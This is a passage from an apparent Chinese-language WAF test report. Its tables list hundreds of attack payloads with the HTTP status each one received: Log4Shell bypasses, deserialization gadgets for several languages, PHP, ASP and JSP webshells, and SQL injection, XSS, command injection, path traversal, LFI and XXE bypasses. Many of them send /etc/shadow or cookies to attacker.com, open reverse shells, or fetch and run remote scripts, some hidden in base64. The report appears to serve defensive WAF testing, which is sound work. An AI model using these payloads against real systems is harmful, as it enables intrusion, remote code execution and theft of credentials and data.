| 🛡️ | POST | Log4Shell WAF 绕过 - :- 空变量拼接绕过 jndi 关键字 | ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com:1389/Evil} | 403 |
| 🛡️ | POST | Log4Shell WAF 绕过 - env 默认值绕过 jndi 关键字 | ${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com:1389/Evil} | 403 |
4.21 php deserialization
- 项目数: 6 | 通过: 6 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | PHP - unserialize RCE (Guzzle) | O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\0GuzzleHttp\Cookie\CookieJar\0cookies";a:0:{}s:39:"\0GuzzleHttp\Cookie\FileCookieJar\0filename";s:25:... | 403 |
| 🛡️ | POST | PHP - phar 反序列化 RCE (Monolog) | phar://uploads/shell.jpg.phar | 403 |
| 🛡️ | POST | PHP - Symfony Process RCE | O:29:"Symfony\Component\Process\Process":7:{s:11:"commandline";s:41:"bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'";s:7:"cwd" ;N;s:3:"env";... | 403 |
| 🛡️ | POST | PHP - SoapClient SSRF + CRLF (通过反序列化) | O:10:"SoapClient":3:{s:3:"uri";s:28:"http://169.254.169.254/latest/";s:8:"location";s:39:"http://169.254.169.254/latest/meta-data/";s:13:"_soap_versio... | 403 |
| 🛡️ | POST | PHP - PHPGGC Laravel RCE | O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"\0*\0events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"\0*\0queueResolver";a:2:{i:0;O:25:"Mock... | 403 |
| 🛡️ | POST | PHP - WordPress phpmailer RCE (CVE-2016-10033) | O:9:"PHPMailer":1:{s:6:"Sender";s:52:"attacker -oQ/tmp/ -X/var/www/html/shell.php root";} | 403 |
4.22 python deserialization
- 项目数: 7 | 通过: 7 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | Python - pickle RCE (反弹 Shell) | cos\nsystem\n(S'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'\ntR. | 403 |
| 🛡️ | POST | Python - pickle 写入文件 (exec) | cos\nsystem\n(S'echo YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx |base64 -d|bash'\ntR. | 403 |
| 🛡️ | POST | Python - yaml.unsafe_load RCE | !!python/object/apply:os.system ["cat /etc/shadow|base64|curl attacker.com -d @-"] | 403 |
| 🛡️ | POST | Python - PyYAML deserialize_all RCE | python: !!python/object/apply:subprocess.check_output [["id"]] | 403 |
| 🛡️ | POST | Python - ruamel.yaml RCE | !!python/object/new:subprocess.check_output [["cat /etc/passwd"]] | 403 |
| 🛡️ | POST | Python - NumPy pickle 反序列化 RCE | cos\nsystem\n(S'curl attacker.com/$(cat /etc/passwd|base64)'\ntR. | 403 |
| 🛡️ | POST | Python - pandas read_pickle RCE | cos\nsystem\n(S'wget http://attacker.com/shell.py -O /tmp/shell.py; python3 /tmp/shell.py'\ntR. | 403 |
4.23 dotnet deserialization
- 项目数: 4 | 通过: 4 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | .NET - DataContractSerializer RCE (XAML 载荷) | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:Sys... | 403 |
| 🛡️ | POST | .NET - SoapFormatter RCE | <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><a1:Process id="ref-1" xmlns:a1="http://schemas.microsoft.com/... | 403 |
| 🛡️ | POST | .NET - NetDataContractSerializer RCE | <NetDataContractSerializer><Process xmlns="http://schemas.datacontract.org/2004/07/System.Diagnostics" xmlns:i="http://www.w3.org/2001/XMLSchema-insta... | 403 |
| 🛡️ | POST | .NET - JavaScriptSerializer type confusion RCE | {"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo":{"FileName":"cmd.exe","A... | 403 |
4.24 nodejs deserialization
- 项目数: 6 | 通过: 6 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | Node.js - node-serialize + fs 读文件 | {"rce":"_$$ND_FUNC$$_function(){return require('fs').readFileSync('/etc/passwd','utf8')}()"} | 403 |
| 🛡️ | POST | Node.js - node-serialize RCE (IIFE) | {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')}()"} | 403 |
| 🛡️ | POST | Node.js - funcster RCE | {"__js_function":"function(){return require('child_process').execSync('curl attacker.com/$(whoami|base64)')}"} | 403 |
| 🛡️ | POST | Node.js - serialize-javascript RCE | function(){return require('child_process').execSync('cat /etc/shadow').toString();}() | 403 |
| 🛡️ | POST | Node.js - Cryo RCE | {"root":"_CRYO_FUNC_function(){require('child_process').execSync('id')}"} | 403 |
| 🛡️ | POST | Node.js - serialize-to-js XSS to RCE | {"key":"function(){return require('child_process').execSync('wget http://attacker.com/shell.sh -O /tmp/.x; bash /tmp/.x')}()"} | 403 |
4.25 ruby deserialization
- 项目数: 3 | 通过: 3 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | Ruby - Psych YAML RCE | --- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n? !ruby/object:OpenStruct\ntable:\n:defaults:\n:action: "system('cat /etc/shadow... | 403 |
| 🛡️ | POST | Ruby - ERB template injection RCE | <%= system('cat /etc/passwd') %> | 403 |
| 🛡️ | POST | Ruby - ERB.new 对象注入 RCE | <%= eval("File.read('/etc/shadow')") %> | 403 |
4.26 file upload
- 项目数: 16 | 通过: 16 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | 文件上传 - PHP 双扩展名绕过 (shell.php.jpg) + Webshell | shell.php.jpg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - PHP 后缀空格点号截断 (shell.php.) + Webshell | shell.php. <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - PHP phtml 扩展名绕过 + Webshell | shell.phtml <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - ASPX webshell 上传执行系统命令 | shell.aspx <%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c whoami");%> | 403 |
| 🛡️ | POST | 文件上传 - JSP webshell 上传反弹 Shell | shell.jsp <% Runtime.getRuntime().exec("curl http://attacker.com/$(whoami)"); %> | 403 |
| 🛡️ | POST | 文件上传 - SVG XSS 文件上传窃取 Cookie | <svg xmlns="http://www.w3.org/2000/svg" onload="new Image().src='http://attacker.com/c?'+document.cookie"/> | 403 |
| 🛡️ | POST | 文件上传 - 图片马 GIF89a 头绕过 getimagesize() + Webshell | GIF89a<?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - 空字节截断 shell.php%00.jpg + Webshell | shell.php%00.jpg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - Content-Type 伪造 image/jpeg + Webshell | Content-Type: image/jpeg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - IIS 6.0 分号绕过 (shell.asp;.jpg) + Webshell | shell.asp;.jpg <% Execute(Request("cmd")) %> | 403 |
| 🛡️ | POST | 文件上传 - PHP7/PHP8 pht 扩展名绕过 + Webshell | shell.pht <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - ASP webshell (shell.cer 证书文件绕过) | shell.cer <% Execute(Request("cmd")) %> | 403 |
| 🛡️ | POST | 文件上传 - Python pickle 文件反序列化 RCE | model.pkl cos\nsystem\n(S'curl http://attacker.com/$(whoami)'\ntR. | 403 |
| 🛡️ | POST | 文件上传 - ZIP 符号链接攻击读取 /etc/passwd | symlink.zip [ZIP containing symlink: ../../etc/passwd] | 403 |
| 🛡️ | POST | 文件上传 - Nginx 请求体临时文件 + LFI Getshell 组合利用 | /tmp/nginx/body/0000000001 <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | 文件上传 - Elasticsearch 动态脚本上传 RCE | script.json {"script":{"lang":"painless","source":"java.lang.Runtime.getRuntime().exec('curl http://attacker.com/$(whoami)')"}} | 403 |
4.27 waf bypass sqli
- 项目数: 20 | 通过: 20 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | SQLi WAF 绕过 - 空白字符替换绕过空格过滤 (%09 TAB) | '%09UNION%09SELECT%091,user(),database(),4,5%09FROM%09mysql.user-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 空白字符替换绕过空格过滤 (%0A 换行) | '%0AUNION%0ASELECT%0A1,user(),version(),4,5%0AFROM%0Amysql.user-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 空白字符替换绕过空格过滤 (%0D 回车) | '%0DUNION%0DSELECT%0D1,version(),3,4,5-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 空白字符替换绕过空格过滤 (%0C 换页) | '%0CUNION%0CSELECT%0C1,user(),database(),4,5-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 空白字符替换绕过空格过滤 (%A0 不间断空格) | '%A0UNION%A0SELECT%A01,user(),database(),4,5-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 多行注释替换空格 | 1/**/AND/**/1=1-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 内联注释绕过 WAF 关键字检测 | 1/*!UNION*//*!SELECT*/1,user(),3-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 括号分组替代空格 | 1=(SELECT(1)FROM(users)WHERE(1=1))-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 反引号包裹关键字绕过检测 | 1%60UNION%60SELECT%601,2,3-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 科学计数法替代等号 | '.e(0)UNION.e(0)SELECT.e(0)1,user(),version(),4,5.e(0)FROM.e(0)dual-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 十六进制编码绕过关键字检测 | 1 UNION SELECT 0x61646d696e,0x70617373776f7264,3-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - REGEXP 替代等号 | 1 AND 'a' REGEXP '^a'-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - LIKE 替代等号 | 1 AND 'a' LIKE 'a'-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - BETWEEN 替代等号 | 1 AND 1 BETWEEN 1 AND 1-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - | 替代 OR | |
| 🛡️ | POST | SQLi WAF 绕过 - && 替代 AND | '%26%26(SELECT 1 FROM mysql.user WHERE user='root')>0-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 双写绕过 WAF 关键字删除 | 1 UNIUNIONSELECTON SELECT 1,user(),3-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 大小写混合绕过关键字过滤 | 1 UnIoN SeLeCt 1,version(),3-- | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - 百分号绕过 | 1 UNION SELECT 1,2,3 FROM dual WHERE 1=1 AND 2344=2344 AND '1q'='1q | 403 |
| 🛡️ | POST | SQLi WAF 绕过 - ORDER BY 盲注替代 UNION | 1 ORDER BY (SELECT 1 FROM information_schema.columns WHERE table_name=0x7573657273)-- | 403 |
4.28 waf bypass sqli db
- 项目数: 16 | 通过: 16 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | WAF SQLi 绕过 - MSSQL 注释替代空格 | '/**/UNION/**/SELECT/**/1,user(),version(),4,5/**/FROM/**/mysql.user-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MSSQL 十六进制编码绕过字符串检测 | 1 UNION SELECT 0x730065006C00650063007400 FROM master..sysdatabases-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MSSQL 括号绕过空格 | 1=(SELECT(1)FROM(master..sysdatabases)WHERE(name LIKE'%')) | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL 反引号绕过关键字 | 1%60UNION%60SELECT%601,user(),3%60FROM%60mysql.user%60-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - PostgreSQL 类型转换绕过 UNION 检测 | 1 UNION SELECT NULL::text,current_database()::text,3-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - PostgreSQL $$ 引用绕过引号检测 | 1 UNION SELECT $$tablename$$,2,3 FROM information_schema.tables-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL /!50000/ 版本注释绕过 | '/*!50000UNION*//*!50000SELECT*/1,user(),version(),4,5/*!50000FROM*//*!50000mysql.user*/-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL 浮点数科学计数法绕过 | 1.e(UNION)e(SELECT)e(1,2,3)e(FROM)e(dual)-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - Oracle ROWNUM 限制绕过 | ' UNION SELECT username,password FROM all_users WHERE ROWNUM=1-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL 等价函数替换 (MID 替代 SUBSTRING) | ' AND IF(MID((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL BENCHMARK 替代 SLEEP 绕过延时检测 | ' AND IF(1=1,BENCHMARK(50000000,MD5('x')),1)-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - PostgreSQL CHR 替代引号 | 1 UNION SELECT CHR(116)||CHR(97)||CHR(98)||CHR(108)||CHR(101),2,3-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - MySQL 双 URL 编码绕过 | %25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65%25%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%33%31 | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - Oracle NVL 函数绕过空值检测 | ' UNION SELECT NVL(username,'NULL'),NVL(password,'NULL') FROM all_users-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - 换行符替换空格 (所有DB) | 1%0aUNION%0aSELECT%0a1,2,3%0aFROM%0adual-- | 403 |
| 🛡️ | POST | WAF SQLi 绕过 - 制表符 %09 混合注释绕过 | 1%09UNION%09SELECT%09%09--%09%0a1,2,3%09--%09%0aFROM%09users-- | 403 |
4.29 waf bypass xss
- 项目数: 19 | 通过: 19 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XSS WAF 绕过 - 空格替换 (0x0C 换页符绕过空格检测) | <svg%0Conload=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 大小写混淆绕过标签过滤 | <ScRiPt>fetch('http://attacker.com/'+document.cookie)</sCrIpT> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 反斜杠替代空格 | <img/src=x/onerror=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - HTML 实体编码混淆 (十进制) | <svg onload=fetch('http://attacker.com/�... | 403 |
| 🛡️ | POST | XSS WAF 绕过 - null 字节注入绕过 onxxx 过滤 | <img src=x onerror\x00=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 反引号绕过圆括号过滤 | <script>fetchhttp://attacker.com/${document.cookie}</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 字符串拼接绕过关键字黑名单 | <script>eval('fetc'+'h("http://attacker.com/"+docu'+'ment.cookie)')</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - window 下标访问绕过属性黑名单 | <script>window['fetch']('http://attacker.com/'+document['cookie'])</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - atob base64 编码绕过关键词 | <script>eval(atob('ZmV0Y2goJ2h0dHA6Ly9hdHRhY2tlci5jb20vJytkb2N1bWVudC5jb29raWUp'))</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - throw 绕过圆括号过滤 | <script>{onerror=fetch}throw'http://attacker.com/'+document.cookie</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 模板字符串绕过引号过滤 | <svg/onload=fetch(http://attacker.com/${document.cookie})> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - Unicode 编码绕过 (< 和 >) | \u003cscript\u003efetch('http://attacker.com/'+document.cookie)\u003c/script\u003e | 403 |
| 🛡️ | POST | XSS WAF 绕过 - JSFuck 编码绕过 WAF (仅 +!()[] 字符) | <script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[]</script> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - data:text/html base64 绕过 | <object data="data:text/html;base64,PHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS8nK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4="> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 无效属性混淆 + 真实 onload | <svg/onrandom=random onload=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - SVG animate 事件绕过过滤 | <svg><animate onbegin=fetch('http://attacker.com/'+document.cookie) attributeName=x dur=1s> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - details 标签 ontoggle 事件 | <details open ontoggle=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - marquee 标签 onstart 事件 | <marquee onstart=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS WAF 绕过 - 分号分隔无空格 | <script>fetch('http://attacker.com/'+document.cookie)</script><script>void(0)</script> | 403 |
4.30 waf bypass command
- 项目数: 18 | 通过: 18 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | CMD WAF 绕过 - ${IFS} 替代空格执行命令 | ;cat${IFS}/etc/shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - {} 大括号展开替代空格 | ;{cat,/etc/shadow} | 403 |
| 🛡️ | POST | CMD WAF 绕过 - TAB 编码 %09 替代空格 | ;cat%09/etc/shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - $() 命令替换执行 | ;$(cat /etc/shadow|base64|curl attacker.com -d @-) | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 反引号命令替换执行 | ;cat /etc/shadow|base64|curl attacker.com -d @-`` | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 十六进制编码绕过关键词过滤 | ;echo -e '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77'|bash | 403 |
| 🛡️ | POST | CMD WAF 绕过 - xxd 十六进制还原执行 | ;xxd -r -p<<<636174202f6574632f736861646f777c62617365|bash | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 八进制编码绕过关键词过滤 | ;eval $'\143\141\164\040\057\145\164\143\057\163\150\141\144\157\167' | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 通配符绕过命令名关键字 | ;/??n?/?at /???/????d?w | 403 |
| 🛡️ | POST | CMD WAF 绕过 - printf 十六进制还原执行 | ;$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77')|bash | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 大小写混合绕过命令名检测 | ;CaT /eTc/ShAdOw|base64|curl attacker.com -d @- | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 引号包裹绕过命令名检测 | ;c'a't /e't'c/s'h'adow|base64|curl attacker.com -d @- | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 双引号包裹绕过命令名检测 | ;c"a"t /e"t"c/s"h"adow|base64|curl attacker.com -d @- | 403 |
| 🛡️ | POST | CMD WAF 绕过 - $@ 空变量绕过命令名检测 | ;c$@at /etc/shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 输入重定向替代空格 | ;cat</etc/shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - 变量截取构造 / 符号 (${HOME:0:1}) | ;cat ${HOME:0:1}etc${HOME:0:1}shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - tr 字符替换构造 / | ;cat $(echo .|tr '!-0' '"-1')etc$(echo .|tr '!-0' '"-1')shadow | 403 |
| 🛡️ | POST | CMD WAF 绕过 - base64 全编码绕过 | ;echo Y3VybCBhdHRhY2tlci5jb20vJChjYXQgL2V0Yy9zaGFkb3d8YmFzZTY0KQ== |base64 -d|bash | 403 |
4.31 waf bypass path
- 项目数: 11 | 通过: 10 | 通过率: 90.9%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | GET | WAF 路径绕过 - 双写 ../ 读取 /etc/passwd 获取系统用户 | ....//....//....//etc/passwd | 403 |
| 🛡️ | GET | WAF 路径绕过 - URL 编码 ../ 读取 /etc/shadow 密码哈希 | %2e%2e/%2e%2e/%2e%2e/etc/shadow | 403 |
| ⚠️ | GET | WAF 路径绕过 - 双 URL 编码读取 root SSH 私钥横向移动 | %252e%252e%252f%252e%252e%252f%252e%252e%252froot%252f.ssh%252fid_rsa | 200 |
| 🛡️ | GET | WAF 路径绕过 - ..;/ 分号截断读取 Nginx 配置泄露后端地址 | ..;/..;/..;/etc/nginx/sites-enabled/default | 403 |
| 🛡️ | GET | WAF 路径绕过 - 反斜杠绕过读取 Windows SAM 密码数据库 | ..\..\..\windows\system32\config\SAM | 403 |
| 🛡️ | GET | WAF 路径绕过 - 绝对路径 /../ 读取 /etc/shadow | /../../../../etc/shadow | 403 |
| 🛡️ | GET | WAF 路径绕过 - 空字节截断 .html 后缀读取 passwd | ../../../etc/passwd%00.html | 403 |
| 🛡️ | GET | WAF 路径绕过 - 路径填充 ./ 绕过深度限制读取 MySQL 配置 | ../../../etc/mysql/my.cnf/./././././. | 403 |
| 🛡️ | GET | WAF 路径绕过 - %23 注释截断读取 SSH 私钥 | ../../../root/.ssh/id_rsa%23 | 403 |
| 🛡️ | GET | WAF 路径绕过 - %3F 问号截断读取数据库配置文件 | ../../../var/www/html/config/database.php%3F | 403 |
| 🛡️ | GET | WAF 路径绕过 - 双重 URL 编码空字节截断读取 passwd | ../../../etc/passwd%2500.html | 403 |
4.32 waf bypass lfi
- 项目数: 9 | 通过: 9 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | GET | LFI WAF 绕过 - php://filter base64 绕过读取源码 | php://filter/convert.base64-encode/resource=index.php | 403 |
| 🛡️ | GET | LFI WAF 绕过 - data:// 封装器绕过 | data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9zaGFkb3cnKTs/Pg== | 403 |
| 🛡️ | GET | LFI WAF 绕过 - php://filter 链 RCE (iconv filter chain) | php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1026.UTF16|convert.iconv.L6.UNICODE|convert.... | 403 |
| 🛡️ | GET | LFI WAF 绕过 - expect:// 封装器绕过 | expect://cat /etc/shadow | 403 |
| 🛡️ | GET | LFI WAF 绕过 - compress.zlib:// 封装器绕过路径检测 | compress.zlib://file:///etc/shadow | 403 |
| 🛡️ | GET | LFI WAF 绕过 - zip:// 封装器绕过 | zip:///var/www/uploads/evil.zip%23shell.php | 403 |
| 🛡️ | POST | LFI WAF 绕过 - php://input 绕过 (POST body 注入) | php://input + Body: <?php system('id');?> | 403 |
| 🛡️ | GET | LFI WAF 绕过 - phar:// 反序列化绕过 | phar://uploads/evil.jpg/shell.php | 403 |
| 🛡️ | GET | LFI WAF 绕过 - pearcmd.php RCE | /usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET[1])?>+/tmp/shell.php | 403 |
4.33 waf bypass xxe
- 项目数: 11 | 通过: 11 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XXE WAF 绕过 - XInclude 绕过 DOCTYPE 限制 | <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/shadow"/></foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - Base64 编码绕过文件内容检测 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - UTF-7 编码绕过检测 | <?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/shadow+ACIAPg-+ADs-+... | 403 |
| 🛡️ | POST | XXE WAF 绕过 - 参数实体 + 外部 DTD OOB 绕过 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;%exfil;]><foo>test</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - SVG 文件格式绕过 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><svg width="100" height="100">&xxe;</svg> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - 双编码文件路径 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///%252e%252e/%252e%252e/etc/shadow">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - SOAP 格式绕过 | <soap:Body xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo></soap:Bod... | 403 |
| 🛡️ | POST | XXE WAF 绕过 - GSM 字符集编码绕过 | <?xml version="1.0" encoding="gsm"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - netdoc:// 协议绕过 (Java) | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "netdoc:///etc/shadow">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - jar:// 协议读取 Java 应用配置 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///var/www/app.war!/WEB-INF/web.xml">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE WAF 绕过 - document() 函数读取文件 (XSLT) | <xsl:value-of select="document('/etc/shadow')"/> | 403 |
4.34 waf bypass upload
- 项目数: 15 | 通过: 15 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | UPLOAD WAF 绕过 - 双扩展名绕过 (.php.jpg) + Webshell | shell.php.jpg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 空字节截断绕过 (PHP < 5.3) + Webshell | shell.php%00.jpg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 尾随空格绕过 + Webshell | shell.php <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 尾随点号绕过 + Webshell | shell.php. <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 分号截断绕过 (IIS 6.0) + Webshell | shell.asp;.jpg <% Execute(Request("cmd")) %> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - Content-Type 伪造为 image/jpeg + Webshell | Content-Type: image/jpeg <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 图片头伪造 (GIF89a) + Webshell | GIF89a;<?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - 图片头伪造 (PNG) + Webshell | \x89PNG\r\n\x1a\n<?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - PHP 短标签绕过 + Webshell | <?=system($_GET[1])?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - PHP 长标签绕过黑名单 + Webshell | <script language="php">system($_GET[1]);</script> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - Windows ADS 写入隐藏流 + Webshell | shell.php::$DATA <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - NTFS 文件系统特性绕过 (::$INDEX_ALLOCATION) | shell.php::$INDEX_ALLOCATION <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - phtml 扩展名绕过 + Webshell | shell.phtml <?php system($_GET[1]);?> | 403 |
| 🛡️ | POST | UPLOAD WAF 绕过 - pHp 大小写绕过 + Webshell | shell.pHp <?php system($_GET[1]);?> | 403 |
